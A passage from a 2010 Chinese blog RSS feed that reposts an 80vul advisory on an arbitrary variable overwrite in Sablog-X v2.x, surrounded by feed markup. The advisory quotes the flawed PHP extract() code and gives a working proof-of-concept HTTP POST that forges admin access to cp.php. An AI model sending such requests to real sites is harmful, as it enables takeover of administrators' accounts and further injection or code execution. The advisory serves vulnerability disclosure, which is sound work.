src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=8cfc04550494cc0d1f214fe784faa448&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=cd6908903f43f06a2ec78bad25879ac0&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=cd6908903f43f06a2ec78bad25879ac0&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=adaccc4b42f1ff279f64ac1b563c890b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=adaccc4b42f1ff279f64ac1b563c890b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>心情随笔</category><category>套图</category><category>无码</category><pubDate>Mon, 22 Feb 2010 16:16:54 +0800</pubDate><author>坏人咖啡</author><comments>http://huairen.me/archives/357.html#comments</comments><guid isPermaLink="false">http://huairen.me/?p=357</guid><dc:creator>坏人咖啡</dc:creator><fs:srclink>http://huairen.me/archives/357.html</fs:srclink><fs:srcfeed>http://huairen.me/feed</fs:srcfeed><fs:itemid>feedsky/badcoffee/~7877768/338844759/5987391</fs:itemid></item><item><title>Sablog-X v2.x 任意变量覆盖漏洞</title><link>http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844760/5987391/1/item.html</link><content:encoded>&lt;p&gt;作者：&lt;a href=&quot;http://www.80vul.com&quot; target=&quot;_blank&quot;&gt;80vul-B&lt;br /&gt;
&lt;/a&gt;&lt;br /&gt;
一 描叙：&lt;/p&gt;
&lt;p&gt;由于Sablog-x v2.x的common.inc.php里$_EVO初始化处理存在逻辑漏洞，导致可以利用extract()来覆盖任意变量，最终导致xss、sql注射、代码执行等很多严重的安全漏洞。&lt;/p&gt;
&lt;p&gt;二 分析&lt;/p&gt;
&lt;p&gt;common.inc.php代码里：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
....
$onoff = function_exists('ini_get') ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {
@extract($_COOKIE, EXTR_SKIP);
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}
...
$sax_auth_key = md5($onlineip.$_SERVER['HTTP_USER_AGENT']);
list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode(&quot;\t&quot;, authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
...
$seccode = $sessionexists = 0;
if ($sax_hash) {
...
if ($_EVO = $DB-&amp;gt;fetch_array($query)){ //$_EVO初始化过程在if ($sax_hash)里，如果这个if条件不满足，将跳过这个初始化过程。
...
}
if(!$sessionexists) {
if($sax_uid) {
if(!($_EVO = $DB-&amp;gt;fetch_one_array(&quot;SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='$sax_uid' AND u.password='$sax_pw' AND u.lastip='$onlineip'&quot;))) {
...
@extract($_EVO); //覆盖任意变量
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由上面的代码片断可以看到,只要使$sax_hash和$sax_uid的布尔值为fales,$_EVO就不会被赋值,而$sax_hash和$sax_uid这两个变量来自由$_COOKIE,这样我们可以很容易的控制$_EVO了,然后通过extract()来覆盖任意变量,这将导致xss、sql inj、代码执行等很多严重的安全漏洞:)&lt;/p&gt;
&lt;p&gt;三 利用&lt;/p&gt;
&lt;p&gt;下面给个后台权限欺骗的PoC:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
POST http://127.0.0.1/sax/cp.php  HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/sax/cp.php
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Content-Length: 138
Connection: Close

_EVO[sax_uid]=1&amp;amp;_EVO[sax_pw]=1&amp;amp;_EVO[sax_logincount]=1&amp;amp;_EVO[sax_hash]=1&amp;amp;_EVO[sax_group]=1&amp;amp;_EVO[sax_auth_key]=1&amp;amp;_EVO[timestamp]=111111111111&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;至于怎么利用各位看观自己研究吧！&lt;/code&gt;&lt;/pre&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/338844760/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844760/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844760/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844760/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=90c85fa0e1694c2eb7ee9c033d9341fe&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=90c85fa0e1694c2eb7ee9c033d9341fe&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=9098d775316c0af0d9fb6026136e44c4&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=9098d775316c0af0d9fb6026136e44c4&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=972c0130fb9f7cedfb849f68d98afa63&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=972c0130fb9f7cedfb849f68d98afa63&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=8c3d0a2ba3888d801804cd677b9b35ec&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=8c3d0a2ba3888d801804cd677b9b35ec&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=64bb5bdc112ba87488ac879834e04eda&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=64bb5bdc112ba87488ac879834e04eda&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=8a8a3a2c413e2e87e4d83e0bad84d9c9&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=8a8a3a2c413e2e87e4d83e0bad84d9c9&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=dcf82a3e52d186db864edc29600a93a8&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=dcf82a3e52d186db864edc29600a93a8&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6d44e49883230a3257257f970dee2bc2&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6d44e49883230a3257257f970dee2bc2&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=52cfb721da09bfb431f0a32da7b9ab67&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=52cfb721da09bfb431f0a32da7b9ab67&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huairen.me/archives/354.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>作者：80vul-B

一 描叙：
由于Sablog-x v2.x的common.inc.php里$_EVO初始化处理存在逻辑漏洞，导致可以利用extract()来覆盖任意变量，最终导致xss、sql注射、代码执行等很多严重的安全漏洞。
二 分析
common.inc.php代码里：

....
$onoff = function_exists('ini_get') ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {
@extract($_COOKIE, EXTR_SKIP);
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}
...
$sax_auth_key = md5($onlineip.$_SERVER['HTTP_USER_AGENT']);
list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode(&quot;\t&quot;, authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
...
$seccode = $sessionexists = 0;
if ($sax_hash) {
...
if ($_EVO = $DB-&amp;#62;fetch_array($query)){ //$_EVO初始化过程在if ($sax_hash)里，如果这个if条件不满足，将跳过这个初始化过程。
...
}
if(!$sessionexists) {
if($sax_uid) {
if(!($_EVO = $DB-&amp;#62;fetch_one_array(&quot;SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='$sax_uid' AND [...]&lt;img src=&quot;http://www1.feedsky.com/t1/338844760/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844760/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844760/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844760/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=90c85fa0e1694c2eb7ee9c033d9341fe&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=90c85fa0e1694c2eb7ee9c033d9341fe&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=9098d775316c0af0d9fb6026136e44c4&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=9098d775316c0af0d9fb6026136e44c4&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=972c0130fb9f7cedfb849f68d98afa63&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=972c0130fb9f7cedfb849f68d98afa63&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=8c3d0a2ba3888d801804cd677b9b35ec&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=8c3d0a2ba3888d801804cd677b9b35ec&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=64bb5bdc112ba87488ac879834e04eda&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=64bb5bdc112ba87488ac879834e04eda&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=8a8a3a2c413e2e87e4d83e0bad84d9c9&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=8a8a3a2c413e2e87e4d83e0bad84d9c9&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=dcf82a3e52d186db864edc29600a93a8&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=dcf82a3e52d186db864edc29600a93a8&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6d44e49883230a3257257f970dee2bc2&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6d44e49883230a3257257f970dee2bc2&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=52cfb721da09bfb431f0a32da7b9ab67&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=52cfb721da09bfb431f0a32da7b9ab67&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>漏洞</category><category>工具收集</category><category>学习笔记</category><category>sablog</category><pubDate>Sun, 21 Feb 2010 08:29:16 +0800</pubDate><author>坏人咖啡</author><comments>http://huairen.me/archives/354.html#comments</comments><guid isPermaLink="false">http://huairen.me/?p=354</guid><dc:creator>坏人咖啡</dc:creator><fs:srclink>http://huairen.me/archives/354.html</fs:srclink><fs:srcfeed>http://huairen.me/feed</fs:srcfeed><fs:itemid>feedsky/badcoffee/~7877768/338844760/5987391</fs:itemid></item></channel></rss>